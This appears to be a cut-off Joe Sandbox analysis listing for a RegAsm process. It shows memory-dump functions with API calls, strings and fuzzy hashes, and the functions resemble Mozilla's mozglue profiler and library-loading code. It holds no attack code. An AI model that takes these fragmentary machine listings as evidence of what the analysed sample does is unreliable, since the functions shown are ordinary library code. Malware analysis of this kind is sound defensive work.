Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C3355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C30E1A5), ref: 6C335606
LoadLibraryW.KERNEL32(gdi32,?,6C30E1A5), ref: 6C33560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C335633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C33563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C33566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C33567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C335696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C3356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C3356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C3356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C3356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C335716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C33572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C335748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C335761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C33577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C335793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C3357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C3357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C3357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C3357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C3357FF

Strings

RegisterClassW, xrefs: 6C3356AC
LoadIconW, xrefs: 6C33575B
EnableNonClientDpiScaling, xrefs: 6C335666
LoadCursorW, xrefs: 6C335774
AreDpiAwarenessContextsEqual, xrefs: 6C335637
user32, xrefs: 6C335601
GetThreadDpiAwarenessContext, xrefs: 6C33562D
gdi32, xrefs: 6C33560A
CreateSolidBrush, xrefs: 6C3357E4
ShowWindow, xrefs: 6C3356DE
CreateWindowExW, xrefs: 6C3356C5
GetDpiForWindow, xrefs: 6C335690
StretchDIBits, xrefs: 6C3357CC
GetSystemMetricsForDpi, xrefs: 6C335677
FillRect, xrefs: 6C335729
DeleteObject, xrefs: 6C3357F9
SetWindowPos, xrefs: 6C3356F7
ReleaseDC, xrefs: 6C335742
GetMonitorInfoW, xrefs: 6C3357A2
MonitorFromWindow, xrefs: 6C33578D
GetWindowDC, xrefs: 6C335710
SetWindowLongPtrW, xrefs: 6C3357B7

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 8e6ee1d2b38410be3853087ecf29aa3dc3e98691d1ec303ce73d15273e7b33f3
Instruction ID: 77986e3ee723b468ab3d7bed5b41cc0dbf45dc3792f3984c2968dc275c2c0d74
Opcode Fuzzy Hash: 8e6ee1d2b38410be3853087ecf29aa3dc3e98691d1ec303ce73d15273e7b33f3
Instruction Fuzzy Hash: 1A5177B07017539BEF019F35AD44D263AFCAB0B2497945829FD56EAA41EF79C900CFA0

Function 6C31CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C2E582D), ref: 6C31CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C2E582D), ref: 6C31CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C34FE98,?,?,?,?,?,6C2E582D), ref: 6C31CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C2E582D), ref: 6C31CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C2E582D), ref: 6C31CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C2E582D), ref: 6C31CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C2E582D), ref: 6C31CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C31CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C31CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C31CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C31CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C31CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C31CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C31CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C31CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C31CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C31CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C31CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C31CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C31CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C31CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C31CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C31CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C31CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C31CE8A

Strings

stackwalk, xrefs: 6C31CCF8
Unrecognized feature "%s"., xrefs: 6C31CEA0
notimerresolutionchange, xrefs: 6C31CE00
screenshots, xrefs: 6C31CCD4
mainthreadio, xrefs: 6C31CC7C
fileio, xrefs: 6C31CC92
seqstyle, xrefs: 6C31CCE6
leaf, xrefs: 6C31CC66
nativeallocations, xrefs: 6C31CDA8
ipcmessages, xrefs: 6C31CDBE
samplingallthreads, xrefs: 6C31CE2C
markersallthreads, xrefs: 6C31CE42
fileioall, xrefs: 6C31CCA8
preferencereads, xrefs: 6C31CD92
Q^, xrefs: 6C31CD25
jsallocations, xrefs: 6C31CD0E
java, xrefs: 6C31CC37
noiostacks, xrefs: 6C31CCBE
nostacksampling, xrefs: 6C31CD7C
audiocallbacktracing, xrefs: 6C31CDD4
power, xrefs: 6C31CE84
unregisteredthreads, xrefs: 6C31CE58
processcpu, xrefs: 6C31CE6E
default, xrefs: 6C31CC21
cpuallthreads, xrefs: 6C31CE16

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: 5e413805d0291c31df3564ecd9584852d43ce15fed521e5a20d316a0bd70fc5c
Instruction ID: 21fbb739e786aefa2027d2abd9c6bbe2b2bc78bc02e2cfa5e6e3ed101aa4fb7c
Opcode Fuzzy Hash: 5e413805d0291c31df3564ecd9584852d43ce15fed521e5a20d316a0bd70fc5c
Instruction Fuzzy Hash: B251BAD1A1D2251AFA0C30157D11BAA3489EF5724EF188436ED49A1E80FB0ED61DCEB7

Function 6C2E47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C2E4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C2E4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C2E482D
__Init_thread_footer.LIBCMT ref: 6C2E484A

Part of subcall function 6C30AB3F: EnterCriticalSection.KERNEL32(6C35E370,?,?,6C2D3527,6C35F6CC,?,?,?,?,?,?,?,?,6C2D3284), ref: 6C30AB49
Part of subcall function 6C30AB3F: LeaveCriticalSection.KERNEL32(6C35E370,?,6C2D3527,6C35F6CC,?,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C30AB7C

GetCurrentThreadId.KERNEL32 ref: 6C2E485F
GetCurrentThreadId.KERNEL32 ref: 6C2E487E
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C2E488B
free.MOZGLUE(?), ref: 6C2E493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C2E4956
free.MOZGLUE(00000000), ref: 6C2E4960
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C2E499A

Part of subcall function 6C30AB89: EnterCriticalSection.KERNEL32(6C35E370,?,?,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284), ref: 6C30AB94
Part of subcall function 6C30AB89: LeaveCriticalSection.KERNEL32(6C35E370,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C30ABD1

free.MOZGLUE(?), ref: 6C2E49C6
free.MOZGLUE(?), ref: 6C2E49E9

Part of subcall function 6C2F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C2F5EDB
Part of subcall function 6C2F5E90: memset.VCRUNTIME140(ew3l,000000E5,?), ref: 6C2F5F27
Part of subcall function 6C2F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C2F5FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C2E47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C2E4828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C2E4812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C2E4A42
[I %d/%d] profiler_shutdown, xrefs: 6C2E4A06

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 6a4f3bdb459989879808f855b68d71cd9a7d8f282c8900f5367311d5ce42a4f7
Instruction ID: e7cf0aa3c909e937d11144295bbf9bebaeb639ba98d37c58f4a0ee71019825d4
Opcode Fuzzy Hash: 6a4f3bdb459989879808f855b68d71cd9a7d8f282c8900f5367311d5ce42a4f7
Instruction Fuzzy Hash: 1B813571A001198FDB00DFA8D894B5A37B9AF4A32DFD40229ED16FBB41D731E854CB96

Function 6C2E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C2E44B2,6C35E21C,6C35F7F8), ref: 6C2E473E
Part of subcall function 6C2E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C2E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C2E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C2E44D2
InitOnceExecuteOnce.KERNEL32(6C35F80C,6C2DF240,?,?), ref: 6C2E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C2E455C
LoadLibraryW.KERNEL32(?), ref: 6C2E4592
InitializeCriticalSection.KERNEL32(6C35F770), ref: 6C2E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C2E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C2E45BB
InitOnceExecuteOnce.KERNEL32(6C35F818,6C2DF240,?,?), ref: 6C2E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C2E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C2E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C2E466D
VerSetConditionMask.NTDLL ref: 6C2E469F
VerSetConditionMask.NTDLL ref: 6C2E46AB
VerSetConditionMask.NTDLL ref: 6C2E46B2
VerSetConditionMask.NTDLL ref: 6C2E46B9
VerSetConditionMask.NTDLL ref: 6C2E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C2E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C2E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C2E46FD

Strings

kernel32.dll, xrefs: 6C2E44CD
G5l, xrefs: 6C2E44FC
NativeNtBlockSet_Write, xrefs: 6C2E46F7
WRusr.dll, xrefs: 6C2E44B5
user32.dll, xrefs: 6C2E4557, 6C2E463F
l, xrefs: 6C2E4578

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: G5l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1962094777
Opcode ID: e51efaed6797532af360346eb54398dae3e0e80d3812ecaf1125e3e06c0b92f4
Instruction ID: 3830d0a94bb1c798895cc7c89cd2a3c1cb24303071082ef6783747a64df128fa
Opcode Fuzzy Hash: e51efaed6797532af360346eb54398dae3e0e80d3812ecaf1125e3e06c0b92f4
Instruction Fuzzy Hash: 0F61E3B0600348AFEB009FA1DC09FA57BBCEB4A30DFD48558ED04ABA41D7B59955CFA1

Function 6C2E19A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C35F760), ref: 6C2E19BD
GetCurrentProcess.KERNEL32 ref: 6C2E19E5
GetLastError.KERNEL32 ref: 6C2E1A27
moz_xmalloc.MOZGLUE(?), ref: 6C2E1A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C2E1A4F
GetLastError.KERNEL32 ref: 6C2E1A92
moz_xmalloc.MOZGLUE(?), ref: 6C2E1AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C2E1ABA
LocalFree.KERNEL32(?), ref: 6C2E1C69
free.MOZGLUE(?), ref: 6C2E1C8F
free.MOZGLUE(?), ref: 6C2E1C9D
CloseHandle.KERNEL32(?), ref: 6C2E1CAE
ReleaseSRWLockExclusive.KERNEL32(6C35F760), ref: 6C2E1D52
GetLastError.KERNEL32 ref: 6C2E1DA5
GetLastError.KERNEL32 ref: 6C2E1DFB
GetLastError.KERNEL32 ref: 6C2E1E49
GetLastError.KERNEL32 ref: 6C2E1E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C2E1E9B

Part of subcall function 6C2E2070: LoadLibraryW.KERNEL32(combase.dll,6C2E1C5F), ref: 6C2E20AE
Part of subcall function 6C2E2070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C2E20CD
Part of subcall function 6C2E2070: __Init_thread_footer.LIBCMT ref: 6C2E20E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6C2E1F15
VerSetConditionMask.NTDLL ref: 6C2E1F46
VerSetConditionMask.NTDLL ref: 6C2E1F52
VerSetConditionMask.NTDLL ref: 6C2E1F59
VerSetConditionMask.NTDLL ref: 6C2E1F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C2E1F6D

Strings

D, xrefs: 6C2E1B57

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: d781de76597d65c291e43ac9579d716d6bd53e0b8cf1be820d827837368b1dc0
Instruction ID: 1c24a19e332492a16f0834d37dd9b273e3243a814110cd656baefa0c6c2cb542
Opcode Fuzzy Hash: d781de76597d65c291e43ac9579d716d6bd53e0b8cf1be820d827837368b1dc0
Instruction Fuzzy Hash: 69F18E71A00329AFEB209F65CC48BAAB7B8FF09705F5441A9E905E7641D774ED80CFA1

Function 6C31E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C317090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C31B9F1,?), ref: 6C317107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C31DCF5), ref: 6C31E92D
GetCurrentThreadId.KERNEL32 ref: 6C31EA4F
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31EA5C
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31EA80
GetCurrentThreadId.KERNEL32 ref: 6C31EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C31DCF5), ref: 6C31EA92
GetCurrentThreadId.KERNEL32 ref: 6C31EB11
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C31EB3C
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31EB5B

Part of subcall function 6C315710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C31EB71), ref: 6C3157AB

Part of subcall function 6C30CBE8: GetCurrentProcess.KERNEL32(?,6C2D31A7), ref: 6C30CBF1
Part of subcall function 6C30CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2D31A7), ref: 6C30CBFA

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C31EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C31EBAC

Part of subcall function 6C3194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3194EE
Part of subcall function 6C3194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C319508

GetCurrentThreadId.KERNEL32 ref: 6C31EBC1
AcquireSRWLockExclusive.KERNEL32(6C35F4B8,?,?,00000000), ref: 6C31EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C31EBE5
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8,00000000), ref: 6C31EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C31EC46
CloseHandle.KERNEL32(?), ref: 6C31EC55
free.MOZGLUE(00000000), ref: 6C31EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C31EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C31EA9B

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 25f7522f71e5a7392adfcbad8f7932557245e5cf987592304296e615344e3bcc
Instruction ID: ca51ef51966706618d84b9fdde0c80414c9c0412637061ef8e301318e7e38326
Opcode Fuzzy Hash: 25f7522f71e5a7392adfcbad8f7932557245e5cf987592304296e615344e3bcc
Instruction Fuzzy Hash: 58A137717043048FDB089F18D848BA677F9FF8A318F954029E9598BF40DB769805CFA2

Function 6C31F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C31F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C31F8F9

Part of subcall function 6C2E6390: GetCurrentThreadId.KERNEL32 ref: 6C2E63D0
Part of subcall function 6C2E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C2E63DF
Part of subcall function 6C2E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C2E640E

ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F93A
GetCurrentThreadId.KERNEL32 ref: 6C31F98A
GetCurrentThreadId.KERNEL32 ref: 6C31F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31F716

Part of subcall function 6C3194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3194EE
Part of subcall function 6C3194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C319508

Part of subcall function 6C2DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C2DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C31F739
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F746
GetCurrentThreadId.KERNEL32 ref: 6C31F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C35385B,00000002,?,?,?,?,?), ref: 6C31F829
free.MOZGLUE(?,?,00000000,?), ref: 6C31F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C31F866
free.MOZGLUE(?), ref: 6C31FA0C

Part of subcall function 6C2E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C2E55E1), ref: 6C2E5E8C
Part of subcall function 6C2E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C2E5E9D
Part of subcall function 6C2E5E60: GetCurrentThreadId.KERNEL32 ref: 6C2E5EAB
Part of subcall function 6C2E5E60: GetCurrentThreadId.KERNEL32 ref: 6C2E5EB8
Part of subcall function 6C2E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C2E5ECF
Part of subcall function 6C2E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C2E5F27
